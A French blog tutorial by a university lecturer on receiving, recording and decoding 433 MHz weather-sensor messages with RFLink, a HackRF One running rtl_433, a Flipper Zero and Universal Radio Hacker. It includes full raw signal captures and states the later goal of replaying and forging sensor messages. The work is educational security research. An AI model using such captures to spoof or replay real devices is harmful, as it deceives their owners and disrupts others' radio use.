Hack RF 433MHz - premiers tests

Hack RF 433MHz - premiers tests

Que ce soit pour mes activités de recherche (projet autodétermination informationnelle) ou celles d’enseignement (principalement au département Réseaux & Télécommunications de l’IUT des Pays de l’Adour à Mont de Marsan) j’ai été amené à utiliser différents objets connectés communiquant sans fil en RF 433MHz.

Lors du 5ème Workshop Pédagogique Réseaux & Télécoms (WPR&T'2023) qui s’est déroulé à La Réunion fin novembre 2023 j’ai également présenté un article intitulé “Découverte de l’IoT au niveau applicatif: mise en œuvre de la SAÉ 203 du BUT R&T”. Dans cette SAÉ nous travaillons plutôt sur la partie système d’information à partir des données transmises par les capteurs via MQTT. Mais, en perspective, il y était question d’intégrer également des données de “vrais” capteurs, par exemple ceux connectés en 433 MHz via RFLink. Cette présentation a eu lieu devant des collègues de tous les départements Réseaux & Télécommunications des IUTs de France et, “forcément”, nous en sommes arrivés à discuter du fonctionnement de ces communications en 433 MHz, tant du point de vue des télécoms que de l’informatique.

Question: Quid de la sécurité des communications en RF 433MHz ? → Serait-il possible, depuis un programme informatique, d’usurper l’identité d’un capteur et d’envoyer de fausses informations ?

Réponse: Oui ! Et cela ne nécessite pas de matériel onéreux ni trop compliqué à utiliser 😀

Quelques informations:

RF 433MHz, c'est quoi ?

Depuis longtemps, de nombreux produits sans fil à faible coûts utilisent la bande de fréquences 433MHz.

Cette bande de fréquence a pour avantage de passer plus facilement à travers les obstacles que des fréquences plus élevées. Les distances de communication sont donc plus élevées à consommation égale ou les consommations plus faibles à distance égale.

En contrepartie, cette fréquence ne permet pas de transmettre beaucoup d’informations, les protocoles l’utilisant sont donc très basiques:

  • Communications peu fiables (il n’est pas rares qu’une communication n’aboutisse pas). D’une manière générale, ils fonctionnent d’autant moins bien qu’il y a un grand nombre d’équipements 433 MHz à proximité (les données se brouillent quand plusieurs équipements communiquent en même temps, même quand il ne s’agit pas du même protocole).
  • Communications généralement peu sécurisées (très facile à pirater… cela nécessite toutefois que le pirate soit à quelques dizaines de mètres de chez vous).
  • Moins de fonctionnalités que des protocoles plus évolués (ex : pas de retour d’état pour les actionneurs).

Je vous ai déjà présenté l’utilisation d’une passerelle RFLink à base d’Arduino pour recevoir les données de tels capteurs et les intégrer à une plateforme domotique telle qu’openHAB (tutoriel ici).


Préambule

En premier lieu, veuillez garder à l’esprit que je ne suis pas, mais alors PAS DU TOUT, un spécialiste des télécoms. Mon domaine c’est l’informatique, la programmation, la sécurité de l’information, etc. Donc, que ce soit dans la manière de procéder ou dans mes explications, je compte sur votre indulgence et sur votre bienveillance 😀 Pour toutes remarques ou suggestions, n’hésitez surtout pas à me contacter sur manuel.munier@univ-pau.fr.

Un second point très important concerne la réglementation ou, tout simplement, le respect d’autrui.

Ce que je présente dans ce tutoriel est du hacking, c’est-à-dire “de la bidouille et de l’expérimentation, dont les motivations sont notamment la passion, le jeu, le plaisir, l’échange, le besoin et le partage” (cf. définition Wikipédia). Mes motivations ne sont que compréhension, expérimentation et partage. Le piratage, qui lui consiste à impacter un système ou nuire à autrui, est tout simplement illégal !

Une fois ceci dit, il faudra quand même être très vigilant lors des expérimentations, même si nos intentions sont louables. Les ondes radio sont invisibles, traversent les murs, se propagent partout, peuvent interférer avec d’autres communications radio sans que l’on s’en rende compte, etc. Il faut à tout prix éviter de perturber les autres systèmes et les autres utilisateurs alentour.


Problématique

État des lieux:

  • réception des données des capteurs 433MHz via passerelle RFLink ✅
  • plateforme domotique openHAB exploitant ces données ✅
  • 2nde passerelle RFLink avec en plus le module émetteur ✅
  • émission de commandes via RFLink (ex: simuler un bouton de télécommande) ✅
  • simuler/rejouer l’émission de données d’un capteur via RFLink ❌ → le protocole RFLink n’est tout simplement pas été conçu pour pouvoir faire ceci

L’objet de recherche est donc le suivant: Comment capter et enregistrer les messages transmis par les capteurs RF 433MHz pour:

  1. les décoder
  2. les rejouer (à l’identique)
  3. forger de nouveaux messages (usurpation de l’identité d’un capteur avec de nouvelles informations; simulation de capteurs “virtuels”)

Nouveautés:

  • HackRF One → SDR (Software Defined Radio) ou radio logicielle; boîtier permettant de recevoir et d’envoyer des données radio depuis un ordinateur
  • rtl_433 → programme capable de recevoir les données d’un SDR et de les décoder selon une multitude de protocoles pour en extraire les informations (ex: id, canal, température, humidité d’un capteur RF 433MHz)
  • Universal Radio Hacker (URH) → suite logicielle pour l’investigation des communications sans fil; les données proviennent soit d’un SDR, soit d’un fichier (enregistrement préalable)
  • Flipper Zero → Le Flipper Zero se présente comme le couteau suisse des geeks, des hackers et des testeurs, avec l’ambition d’exposer les vulnérabilités informatiques. Une sorte de « rayon X pour la cybersécurité ». Son code est open-source, ce qui permet à quiconque de l’examiner.

Réception de messages

Outils de haut niveau

Par “outils de haut niveau” je veux parler d’outils matériels/logiciels intégrés qui s’occupent de tout: réception du signal radio, démodulation, décodage, extraction des données. Très pratiques pour identifier les capteurs qui transmettent des données, décoder les informations transmises, puis le débogage ultérieur des messages que nous tenteront d’émettre.

Il s’agit de la passerelle RFLink que je vous ai déjà présentée dans mon tutoriel openHAB 3.0 - passerelle RFLink/RFXCom 433MHz. Elle fonctionne sur un Arduino Mega 2560 sur lequel sont connectés un récepteur et un émetteur 433MHz. Le programme versé sur l’Arduino intègre un certain nombre de protocoles pour le décodage des données. Il enverra le résultat sur le port USB dans son propre protocole RFLink.

Il suffit ensuite d’un terminal connecté sur le port série (ex: moniteur série de l’IDE Arduino, minicom, GTKTerm) configuré au bon débit (57600 baud) pour récupérer ces informations. Les plateformes domotiques (ex: openHAB, Home Assistant) disposent de modules permettant de lire ces informations et de les intégrer directement dans la plateforme.

Par exemple, avec mes capteurs InoValley (capteurs extérieurs sans fil pour station météo FWS-310), la ligne 20;01;InoValley;ID=2001;TEMP=00E2;HUM=37;BAT=LOW; nous renseigne sur l’id du capteur (20 en hexa, soit 32 en décimal), le canal (01), la température (00E2 en hexa, soit 22,6°C) et le taux d’humidité (37%). À noter que la passerelle RFLink “reconnaît” bien le type InoValley.

SDR + rtl_433

Dans cette configuration, la réception radio se fait par le SDR (dans le cas présent un HackRF One) et le post-traitement se fait de manière logicielle par rtl_433 (lequel se base lui-même sur GNU Radio).

rtl01a
HackRF One

Il suffit d’exécuter la commande rtl_433 -d driver=hackrf dans un terminal pour recevoir les messages RF 433MHz, les décoder (via les différents protocoles intégrés), et afficher les informations obtenues dans le terminal.

rtl01b
SRD + rtl_433

La copie d’écran a été réalisée au même instant. Si rtl_433 utilise dans son cas le “protocole” Conrad-S3318P, nous retrouvons toutefois les mêmes informations: id du capteur (32), canal (1), température (72,20°F, soit 22,6°C) et taux humidité (37%).

Flipper Zero

Dernier outil arrivé dans ma panoplie de bidouilleur du sans fil, le Flipper Zero dispose en standard de l’application Weather Station. Elle est basée sur l’application Sub-GHz en ajoutant la possibilité de décoder certains protocoles.

fz01a
Flipper Zero

fz01b
Flipper Zero - Weather Station - Scanning
fz01c
Flipper Zero - Weather Station - Messages
fz01d
Flipper Zero - Weather Station - Infos

Là encore les captures d’écran ont été réalisées au même instant. Le Flipper Zero a bien capturé le message de notre capteur, le reconnaissant dans son cas sous le “protocole” Kedsum-TH. Mais les informations extraites du message sont identiques: id du capteur (20 en hexa, soit 32 en décimal), canal (1), température (22,6°C) et taux humidité (37%).

NB: En fouillant sur Internet on s’aperçoit rapidement que les “protocoles” InoValley, Conrad-S3318P et Kedsum-TH sont équivalents.

Capture de messages

Les “outils de haut niveau” présentés précédemment sont des “tout-en-un”. S’ils sont effectivement très pratiques en première approche pour indentifier les capteurs qui émettent et afficher les informations envoyées, il va maintenant falloir rentrer plus en détail pour comprendre quelles sont les données réellement transmises et sous quelle forme. L’idée, à terme, étant de pouvoir forger nos propres messages… Cela passe donc dans un premier temps par la capture et l’enregistrement des messages.

SDR + rtl_433

Le logiciel rtl_433 propose une option pour enregistrer les signaux reçus. La liste des formats de sortie supportés sont disponibles via la commande rtl_433 -w help où on retrouve entre autres les format ook et cu8.

Le format OOK (On–Off Keying ou modulation tout ou rien en français) est souvent le format natif utilisé dans les clés de garage et de portail à distance ou les capteurs de stations météo (fonctionnant à 433,92 MHz). Il est en outre très simple (pour moi, informaticien 😀): il représente les données numériques (des 0 et des 1 en binaire) par la présence ou l’absence d’une onde porteuse.

Dans un terminal on exécute la même commande que précédemment en indiquant en plus d’enregistrer les données reçues dans un fichier au format OOK:

  • rtl_433 -d driver=hackrf -w capture-20240402-01.ook

rtl02a
SRD + rtl_433 + OOK

Le fichier .ook obtenu est un simple fichier texte qui ressemble à ceci (extrait):

;pulse data
;version 1
;timescale 1us
;created 2024-04-02 10:13:02+0200
;ook 265 pulses
;freq1 433947712
;centerfreq 433920000 Hz
;samplerate 250000 Hz
;sampledepth 16 bits
;range 84.3 dB
;rssi -1.3 dB
;snr 24.4 dB
;noise -25.6 dB
536 8384
520 2100
520 2104
520 2112
520 2112
524 4228
520 2148
524 2112
516 2116
524 2108
524 2148
520 2112
524 2108
520 2116
520 2148
524 2112
520 2112
520 4228
524 2148
[...]
;end

Les lignes commençant par un ; représentent les paramètres de la capture. Les données arrivent ensuite (jusqu’au ;end). Chaque ligne de données contient 2 nombres: le premier est la durée d’un “tone” (présence d’un signal); le second est la durée d’un silence (absence de signal).

Interprétation: (expliquée à ma manière…) Les valeurs sont indiquées en µs. On constate que les “pulses” sont toujours de l’ordre de 500 µs alors que les silences peuvent prendre 3 valeurs différentes: 2000 µs, 4000 µs ou 8000 µs. En fouillant sur Internet et en discutant avec mes collègues du département R&T j’en suis arrivé à cette conclusion:

  • un pulse suivi d’un silence court (environ 2000 µs) correspond à un 0
  • un pulse suivi d’un silence long (environ 4000 µs) correspond à un 1
  • finalement, un pulse suivi d’un silence très long (environ 8000 µs) correspond à une pause dans l’émission
Voici le fichier <code>capture-20240402-01.ook</code> complet.
;pulse data
;version 1
;timescale 1us
;created 2024-04-02 10:13:02+0200
;ook 265 pulses
;freq1 433947712
;centerfreq 433920000 Hz
;samplerate 250000 Hz
;sampledepth 16 bits
;range 84.3 dB
;rssi -1.3 dB
;snr 24.4 dB
;noise -25.6 dB
536 8384
520 2100
520 2104
520 2112
520 2112
524 4228
520 2148
524 2112
516 2116
524 2108
524 2148
520 2112
524 2108
520 2116
520 2148
524 2112
520 2112
520 4228
524 2148
520 2112
524 4228
520 4228
520 2152
520 2112
524 4228
520 4228
524 2148
520 2112
520 4232
520 2116
516 4268
520 2116
520 2108
524 4228
520 2148
524 2112
520 2112
524 2108
524 4264
524 4228
516 2116
524 2108
520 4292
524 8384
520 8388
520 2100
524 2100
520 2116
520 2112
520 4228
520 2152
524 2108
524 2112
520 2112
524 2148
520 2112
524 2108
520 2116
520 2152
520 2112
516 2116
524 4228
520 2148
524 2108
520 4232
524 4228
520 2148
520 2116
520 4228
520 4232
520 2148
524 2112
520 4228
524 2112
520 4268
520 2112
524 2108
524 4228
524 2144
520 2116
520 2112
524 2112
520 4264
524 4228
524 2108
520 2120
516 4288
524 8384
520 8388
524 2096
524 2100
524 2112
520 2112
520 4228
520 2152
524 2108
524 2112
520 2112
524 2148
520 2112
524 2108
524 2112
520 2148
524 2112
520 2112
520 4232
520 2148
640 2112
524 4228
520 4228
524 2152
520 2108
524 4228
520 4232
520 2148
520 2116
520 4228
520 2116
516 4272
520 2112
520 2112
524 4228
520 2148
524 2112
520 2112
524 2112
516 4268
524 4228
524 2112
520 2112
524 4288
524 8384
524 8384
524 2096
524 2100
524 2112
520 2112
520 4232
520 2148
520 2116
520 2112
520 2116
516 2152
520 2116
520 2112
524 2108
524 2148
520 2112
520 2116
520 4232
520 2148
524 2108
524 4228
524 4228
520 2148
520 2116
520 4232
520 4228
524 2148
520 2112
520 4232
524 2108
520 4268
520 2116
520 2112
524 4228
520 2148
524 2112
520 2112
520 2116
516 4268
524 4228
524 2112
520 2112
524 4288
520 8392
520 8384
524 2100
520 2104
520 2112
520 2112
520 4232
524 2148
520 2112
524 2108
520 2116
520 2148
524 2112
520 2112
520 2116
520 2148
524 2112
520 2112
524 4228
524 2144
520 2120
520 4232
516 4228
520 2152
524 2108
520 4232
524 4228
520 2152
520 2112
524 4228
520 2112
524 4264
520 2112
520 2116
520 4228
524 2148
524 2108
524 2112
520 2112
520 4272
520 4228
524 2108
524 2112
520 4292
524 8384
524 8384
524 2096
524 2104
520 2112
524 2108
524 4228
524 2148
520 2112
524 2112
520 2112
520 2152
520 2112
524 2112
520 2112
520 2148
524 2112
524 2108
524 4228
524 2148
520 2112
524 4228
520 4232
520 2148
524 2112
520 4228
524 4232
520 2148
520 2112
524 4228
636 2116
520 4268
520 2116
520 2108
524 4228
524 2148
520 2112
524 2112
516 2116
524 4264
524 4228
520 2116
520 2112
516 4284
516 8392
520 10004
;end

– Visualisation d’un fichier OOK avec URH –

– Interprétation du OOK sous URH -> décodage du message –

Flipper Zero

Si, pour une expérimentation en laboratoire, être équipé d’un ordinateur et d’un boitier SDR avec câbles et antennes pour capturer les messages de nos capteurs ne pose pas de problème particulier, en “promenade” c’est en revanche beaucoup moins “pratique”. D’où l’intérêt d’un outil ultra-portable tel que le Flipper Zero pour se déplacer, se raprocher facilement des capteurs et enregistrer leurs émissions radio.

fz02a
Flipper Zero - Read RAW

Nous allons pour cela utiliser la fonctionnalité Read RAW du Flipper (cf. documentation officielle). Celui-ci utilise le format .sub pour enregistrer les signaux SubGhz. S’il s’agit d’un format propriétaire, celui-ci est néanmoins très bien documenté:

Voici un exemple de capture stockée dans un fichier .sub (fichier RAW-20240325-145955.sub) (NB: les expérimentations ayant eu lieu à des moments différents, il ne s’agit pas du même message que dans les exemples précédents):

Filetype: Flipper SubGhz RAW File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetOok650Async
Protocol: RAW
RAW_Data: 5310 -8302 613 -6652 561 -134 1577 -66 1727 -66 297 -68 3037 -66 5557 -98 3101 -98 9065 -17320 99 -1496 99 -102 99 -21728 261 -132 163 -396 97 -166 67 -234 231 -566 8671 -18622 231 -168 65 -132 65 -232 133 -98 97 -134 65 -1096 329 -100 65 -100 297 -100 231 -98 399 -100 265 -68 13363 -66 2515 -66 1095 -98 2269 -68 3757 -132 6143 -100 651 -100 2943 -98 667 -98 229 -130 3227 -66 3359 -66 425 -98 6835 -66 1195 -68 4711 -98 2729 -66 5937 -134 5367 -66 2469 -66 733 -66 6503 -66 6607 -18010 97 -760 557 -394 133 -98 99 -134 165 -134 399 -66 5611 -17832 67 -1094 65 -364 67 -332 65 -624 99 -132 231 -402 295 -198 295 -132 227 -166 131 -866 923 -66 1605 -66 4019 -66 2575 -98 3573 -100 1327 -66 3169 -100 4249 -68 1295 -66 963 -66 457 -66 1557 -132 5353 -66 2719 -98 5591 -98 2819 -68 24027 -64 763 -134 21345 -64 557 -100 359 -98 1183 -66 595 -98 299 -68 1855 -98 14061 -64 5695 -66 987 -66 161 -132 5567 -66 5913 -18244 67 -596 99 -2056 293 -298 99 -66 265 -98 567 -68 4547 -16904 97 -132 197 -530 65 -300 165 -100 165 -432 65 -100 99 -100 301 -398 131 -100 361 -166 363 -100 5589 -100 719 -66 2675 -100 4567 -100 3181 -17946 97 -792 491 -98 15629 -68 1357 -66 2461 -66 4135 -66 427 -64 4565 -66 435 -66 563 -100 697 -132 6165 -66 4621 -66 785 -66 65 -2090 67 -298 427 -1226 65 -132 695 -98 361 -198 67 -66 393 -66 4375 -12174 99 -6516 161 -98 131 -230 99 -1254 97 -68 265 -132 265 -134 331 -166 133 -66 231 -100 1759 -66 2603 -98 2843 -66 3191 -100 1193 -98 4641 -100 729 -98 3229 -100 525 -66 4107 -18802 65 -98 97 -264 195 -98 131 -100 331 -898 429 -66 363 -100 393 -66 299 -100 329 -100 4271 -66 22199 -66 4367 -134 1357 -100 5389 -66 327 -134 2221 -66 4785 -66 2247 -98 6235 -66 5141 -66 917 -100 883 -166 195 -134 2251 -66 2129 -66 11403 -66 12117 -17296 65 -132 65 -362 197 -264 1391 -166 2681 -17090 99 -758 263 -98 129 -98 65 -1722 953 -132 627 -100 231 -68 3715 -68 925 -132 2483 -98 3039 -68 1489 -68 2585 -17356 65 -196 65 -1224 167 -298 329 -1288 197 -66 431 -66 199 -12862 131 -264 231 -858 229 -198 97 -164 1351 -66 687 -18354 99 -266 165 -1682 625 -198 427 -162 163 -98 461 -132 10497 -66 591 -100 2401 -98 2005 -64 2435 -64 759 -100 6213 -66 2175 -98 427 -16768 231 -232 65 -596 97 -1062 65 -100 199 -964 133 -926 295 -164 231 -98 229 -566 131 -200 3287 -66 4701 -66 11625 -98 261 -64
RAW_Data: 327 -16772 65 -198 131 -724 163 -496 163 -196 197 -66 559 -66 195 -66 163 -132 259 -66 6703 -15350 99 -3386 165 -98 165 -232 267 -100 11941 -16892 99 -664 99 -634 197 -66 491 -100 359 -66 531 -132 3781 -19974 165 -464 65 -460 365 -132 401 -132 131 -68 431 -66 1259 -68 1919 -100 1277 -66 16735 -19438 99 -164 165 -1388 397 -132 365 -66 297 -100 2815 -66 12463 -66 299 -66 567 -66 5273 -66 859 -98 5873 -132 1883 -66 531 -66 4387 -66 2325 -98 3053 -132 5025 -17082 99 -234 65 -1032 67 -232 231 -200 65 -232 265 -66 165 -1028 131 -166 133 -200 593 -100 163 -98 195 -162 65 -68 2371 -132 831 -102 3919 -17590 65 -798 65 -466 67 -430 65 -166 133 -232 65 -432 99 -728 299 -132 429 -134 629 -100 3491 -16822 129 -1974 197 -66 227 -166 887 -66 429 -66 1151 -66 10465 -17372 133 -694 199 -166 363 -566 495 -166 263 -100 231 -100 99 -200 197 -66 10237 -66 2139 -66 661 -64 3351 -98 1547 -100 12923 -18490 131 -130 97 -66 197 -524 163 -134 429 -66 299 -100 431 -166 297 -428 1217 -66 2515 -66 2907 -66 1679 -66 1543 -66 2445 -100 1495 -100 11293 -68 4115 -166 199 -66 32869 -66 901 -68 1523 -66 19297 -18802 131 -198 299 -198 199 -364 65 -432 331 -98 497 -100 361 -330 831 -66 363 -66 2155 -66 4255 -64 4539 -66 25253 -16946 133 -130 229 -200 423 -460 65 -100 163 -66 591 -21754 97 -132 99 -1092 331 -132 265 -166 331 -266 1257 -100 2547 -98 3791 -100 2421 -230 4211 -100 23005 -100 831 -98 1093 -132 4201 -66 14007 -100 11707 -98 661 -66 597 -132 3073 -66 50171 -66 655 -66 395 -164 2857 -102 6119 -66 3829 -98 4295 -100 5931 -66 4213 -66 129 -132 4993 -66 3565 -66 5999 -66 325 -132 6087 -66 3785 -66 10675 -17308 131 -1180 165 -328 131 -200 97 -730 133 -134 267 -66 263 -134 65 -134 367 -100 197 -168 365 -132 295 -66 4067 -16806 131 -1060 333 -1692 463 -164 359 -98 295 -98 295 -132 295 -66 3417 -98 1785 -66 1809 -98 3601 -100 361 -98 2131 -68 1929 -166 3611 -132 1417 -64 18051 -17722 133 -298 199 -132 165 -1494 165 -166 131 -234 297 -166 397 -562 6009 -98 2281 -66 3833 -66 669 -66 2447 -66 361 -66 5885 -66 3877 -164 599 -100 1931 -68 921 -100 4453 -100 2297 -66 23657 -100 1455 -17182 65 -666 295 -132 97 -166 129 -362 529 -1090 295 -430 133 -200 363 -100 331 -332 14345 -100 10441 -68 2943 -66 1525 -98 2629 -66 863 -100 13083 -66 10245 -17514 67 -264 263 -166 399 -1590 67 -134 561 -200 5445 -100 4971 -132 2491 -66 4381 -132 993 -66 2291 -17640
RAW_Data: 165 -1096 231 -100 165 -134 131 -100 65 -132 99 -530 67 -132 5951 -17314 65 -1086 461 -130 131 -164 97 -98 195 -134 367 -100 229 -66 425 -16574 263 -66 199 -198 165 -100 42311 -17064 65 -602 99 -196 231 -130 197 -19684 99 -700 65 -700 65 -198 99 -198 199 -100 163 -66 231 -166 65 -100 695 -198 15477 -66 12183 -66 16191 -66 889 -100 2007 -66 11095 -66 4777 -18886 99 -330 199 -66 165 -1394 561 -98 329 -200 99 -100 133 -66 9807 -17204 131 -198 99 -1060 199 -134 133 -98 365 -1032 65 -166 363 -132 199 -66 429 -262 165 -198 197 -64 131 -166 11037 -98 20321 -16956 65 -326 131 -1154 131 -66 657 -166 295 -132 163 -166 493 -98 4179 -66 1967 -66 4855 -98 12519 -130 1937 -17980 229 -426 623 -100 429 -164 293 -460 2481 -17612 65 -1132 99 -166 99 -132 131 -100 133 -132 65 -1154 361 -100 297 -132 67 -66 265 -100 299 -134 331 -132 4975 -66 697 -100 2171 -134 3239 -66 9563 -100 1969 -66 327 -64 4391 -132 32513 -66 999 -66 1199 -66 261 -66 1657 -18174 397 -166 97 -66 231 -1162 1223 -100 429 -166 8965 -17638 65 -130 65 -792 329 -98 99 -130 429 -132 63 -134 131 -1060 233 -232 329 -166 165 -100 65 -66 265 -100 2727 -68 38627 -18114 99 -730 97 -132 65 -232 761 -166 397 -100 3565 -66 2675 -132 5581 -66 1661 -66 1991 -130 1789 -66 7231 -18872 65 -564 65 -1590 131 -460 263 -130 163 -66 20333 -98 1657 -68 2711 -66 6459 -100 595 -100 9087 -18844 99 -1718 263 -134 165 -134 233 -166 65 -132 953 -98 2895 -98 463 -16754 97 -132 165 -526 163 -262 165 -19126 65 -396 229 -232 365 -266 133 -66 431 -430 601 -132 133 -66 133 -330 99 -100 295 -200 897 -66 363 -100 265 -66 1127 -100 1155 -66 2577 -100 5473 -66 1027 -66 1313 -98 1557 -18914 131 -98 229 -954 65 -20082 231 -2126 65 -496 165 -1492 667 -100 431 -166 8483 -17098 163 -430 99 -896 97 -68 99 -1690 131 -66 427 -132 627 -66 459 -98 11139 -66 3731 -18910 231 -398 363 -430 165 -462 165 -68 397 -17428 265 -494 197 -98 65 -132 1383 -100 2469 -17720 67 -200 133 -66 131 -400 231 -66 97 -496 97 -166 97 -1188 131 -132 263 -166 727 -430 99 -130 5081 -66 5697 -66 1301 -16682 99 -1122 65 -626 295 -832 65 -732 131 -68 199 -198 395 -134 163 -68 465 -134 135 -100 1659 -66 597 -98 297 -66 5049 -2150 99 -8036 547 -8214 493 -2044 513 -2038 501 -2068 503 -4134 523 -4098 525 -4164 513 -4122 515 -4108 507 -4112 513 -4154 515 -2068 513 -2066 491 -2078 511 -2082 521 -4116 491 -4132 523 -4126 491 -4166
RAW_Data: 503 -2080 511 -4112 521 -4094 511 -4186 491 -2048 543 -4100 517 -4132 513 -2084 521 -4118 489 -2080 511 -2052 513 -2098 507 -2058 503 -2066 489 -4132 523 -2072 513 -2068 513 -2062 505 -2044 513 -2098 505 -4122 505 -4124 519 -4144 481 -2134 507 -8188 513 -8142 547 -2034 505 -2056 513 -2054 513 -4120 505 -4124 513 -4154 521 -4128 499 -4134 491 -4136 501 -4156 511 -2068 523 -2042 515 -2054 513 -2100 511 -4118 523 -4088 541 -4116 505 -4156 523 -2036 509 -4150 509 -4096 511 -4186 491 -2078 511 -4100 517 -4128 513 -2088 523 -4092 537 -2046 515 -2064 521 -2068 515 -2068 513 -2032 531 -4114 525 -2070 513 -2062 509 -2062 519 -2054 501 -2116 483 -4142 513 -4116 513 -4124 513 -2104 507 -8192 513 -8162 519 -2050 513 -2034 515 -2064 507 -4126 515 -4114 515 -4156 503 -4110 529 -4226 525 -4120 521 -4158 515 -2050 513 -2064 483 -2074 521 -2076 505 -4126 519 -4132 513 -4102 519 -4162 515 -2032 515 -4126 531 -4094 517 -4158 517 -2076 509 -4126 509 -4120 507 -2076 543 -4098 517 -2046 513 -2070 521 -2068 515 -2072 513 -2040 521 -4128 509 -2096 509 -2062 515 -2038 501 -2076 501 -2108 519 -4120 491 -4128 521 -4118 487 -2122 527 -8170 521 -8162 527 -2040 513 -2036 501 -2074 505 -4130 519 -4098 531 -4160 515 -4120 515 -4110 507 -4116 513 -4154 517 -2074 513 -2038 523 -2044 527 -2072 517 -4148 493 -4130 519 -4116 487 -4164 543 -2048 511 -4116 505 -4126 513 -4152 521 -2044 515 -4110 515 -4130 515 -2092 523 -4124 491 -2048 543 -2044 511 -2096 511 -2068 479 -2076 503 -4130 513 -2098 511 -2064 479 -2084 507 -2044 513 -2102 503 -4122 517 -4136 513 -4102 519 -2114 521 -8172 519 -8140 537 -2048 513 -2038 519 -2068 495 -4124 503 -4140 521 -4144 513 -4112 503 -4126 515 -4116 531 -4134 529 -2040 543 -2034 519 -2044 537 -2082 513 -4100 539 -4122 521 -4116 481 -4162 523 -2068 521 -4114 505 -4130 499 -4158 513 -2064 505 -4124 515 -4106 515 -2112 489 -4132 523 -2040 511 -2070 487 -2124 507 -2040 527 -2042 511 -4122 515 -2100 503 -2076 509 -2034 515 -2076 523 -2074 501 -4130 521 -4098 529 -4126 489 -2120 539 -8160 525 -8162 523 -2038 513 -2036 501 -2078 501 -4128 519 -4100 529 -4286 511 -4098 517 -4132 515 -4106 517 -4164 521 -2036 513 -2070 513 -2036 527 -2080 519 -4112 515 -4124 517 -4140 513 -4158 511 -2042 523 -4116 489 -4124 529 -4162 513 -2038 529 -4110 507 -4126 517 -2078 527 -4112 543 -2048 511 -2032 515 -2108 521 -2044 513 -2060 511 -4118 523 -2074 507 -2080 509 -2060 507 -2034 527 -2090 501 -4134 513 -4110 539 -4096 509 -2112 525 -8162 513 -112322 595 -132 133 -100 335 -132 67 -66 231 -98 13663 -134 3939 -18744 723 -132 495 -166 97 -98

Dans les lignes RAW_Data, les valeurs positives correspondent à des “tones” et les valeurs négatives correspondent à des silences.

Cet enregistrement ne contient qu’un seul message d’un seul capteur InoValley. Mais, contrairement à la capture faite ci-dessus via rtl_4333 (fichier .ook), le Flipper a enregistré tout le signal durant les 4 secondes de capture, y compris le “bruit” avant et après le message 😥

Utilisons URH pour visualiser le contenu de ce fichier (récupéré depuis le Flipper). En effet, URH dispose maintenant d’un module lui permettant de lire et d’écrire les fichiers au format .sub.

urh02a
URH - Capture complète (fichier RAW-20240325-145955.sub)

Le signal peut effectivement paraître “fouilli” à première vue… Mais sachant que l’on a arrêté la capture juste après avoir reçu le message de notre capteur (constaté via la passerelle RFLink), cela signifie que la partie “utile” du signal se trouve à la fin de l’enregistrement. Et si on zoome justement sur la fin de cet enregistrement, nous trouvons un signal plus “régulier”.

urh02b
URH - Partie finale de la capture (fichier RAW-20240325-145955.sub)

En y regardant de plus près on constate qu’il s’agit d’un même “motif” répété 6 fois.

urh02c
URH - 2 premiers "motifs" de la capture (fichier RAW-20240325-145955.sub)

Via URH nous pouvons faire un copier/coller pour isoler cette portion contenant les 6 “motifs” afin de nous simplifier le travail pour la suite. Ce qui donne (par exemple) le fichier RAW-20240325-145955-v03.sub ci-dessous:

Filetype: Flipper SubGhz RAW File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetOok650Async
Protocol: RAW
RAW_Data: -875 99 -8036 547 -8214 493 -2044 513 -2038 501 -2068 503 -4134 523 -4098 525 -4164 513 -4122 515 -4108 507 -4112 513 -4154 515 -2068 513 -2066 491 -2078 511 -2082 521 -4116 491 -4132 523 -4126 491 -4166 503 -2080 511 -4112 521 -4094 511 -4186 491 -2048 543 -4100 517 -4132 513 -2084 521 -4118 489 -2080 511 -2052 513 -2098 507 -2058 503 -2066 489 -4132 523 -2072 513 -2068 513 -2062 505 -2044 513 -2098 505 -4122 505 -4124 519 -4144 481 -2134 507 -8188 513 -8142 547 -2034 505 -2056 513 -2054 513 -4120 505 -4124 513 -4154 521 -4128 499 -4134 491 -4136 501 -4156 511 -2068 523 -2042 515 -2054 513 -2100 511 -4118 523 -4088 541 -4116 505 -4156 523 -2036 509 -4150 509 -4096 511 -4186 491 -2078 511 -4100 517 -4128 513 -2088 523 -4092 537 -2046 515 -2064 521 -2068 515 -2068 513 -2032 531 -4114 525 -2070 513 -2062 509 -2062 519 -2054 501 -2116 483 -4142 513 -4116 513 -4124 513 -2104 507 -8192 513 -8162 519 -2050 513 -2034 515 -2064 507 -4126 515 -4114 515 -4156 503 -4110 529 -4226 525 -4120 521 -4158 515 -2050 513 -2064 483 -2074 521 -2076 505 -4126 519 -4132 513 -4102 519 -4162 515 -2032 515 -4126 531 -4094 517 -4158 517 -2076 509 -4126 509 -4120 507 -2076 543 -4098 517 -2046 513 -2070 521 -2068 515 -2072 513 -2040 521 -4128 509 -2096 509 -2062 515 -2038 501 -2076 501 -2108 519 -4120 491 -4128 521 -4118 487 -2122 527 -8170 521 -8162 527 -2040 513 -2036 501 -2074 505 -4130 519 -4098 531 -4160 515 -4120 515 -4110 507 -4116 513 -4154 517 -2074 513 -2038 523 -2044 527 -2072 517 -4148 493 -4130 519 -4116 487 -4164 543 -2048 511 -4116 505 -4126 513 -4152 521 -2044 515 -4110 515 -4130 515 -2092 523 -4124 491 -2048 543 -2044 511 -2096 511 -2068 479 -2076 503 -4130 513 -2098 511 -2064 479 -2084 507 -2044 513 -2102 503 -4122 517 -4136 513 -4102 519 -2114 521 -8172 519 -8140 537 -2048 513 -2038 519 -2068 495 -4124 503 -4140 521 -4144 513 -4112 503 -4126 515 -4116 531 -4134 529 -2040 543 -2034 519 -2044 537 -2082 513 -4100 539 -4122 521 -4116 481 -4162 523 -2068 521 -4114 505 -4130 499 -4158 513 -2064 505 -4124 515 -4106 515 -2112 489 -4132 523 -2040 511 -2070 487 -2124 507 -2040 527 -2042 511 -4122 515 -2100 503 -2076 509 -2034 515 -2076 523 -2074 501 -4130 521 -4098 529 -4126 489 -2120 539 -8160 525 -8162 523 -2038 513 -2036 501 -2078 501 -4128 519 -4100 529 -4286 511 -4098 517 -4132 515 -4106 517 -4164 521 -2036 513 -2070 513 -2036 527 -2080 519 -4112 515 -4124 517 -4140 513 -4158 511 -2042 523 -4116 489 -4124 529 -4162 513 -2038 529 -4110 507 -4126 517 -2078 527 -4112 543 -2048 511 -2032 515 -2108 521 -2044 513 -2060 511 -4118 523
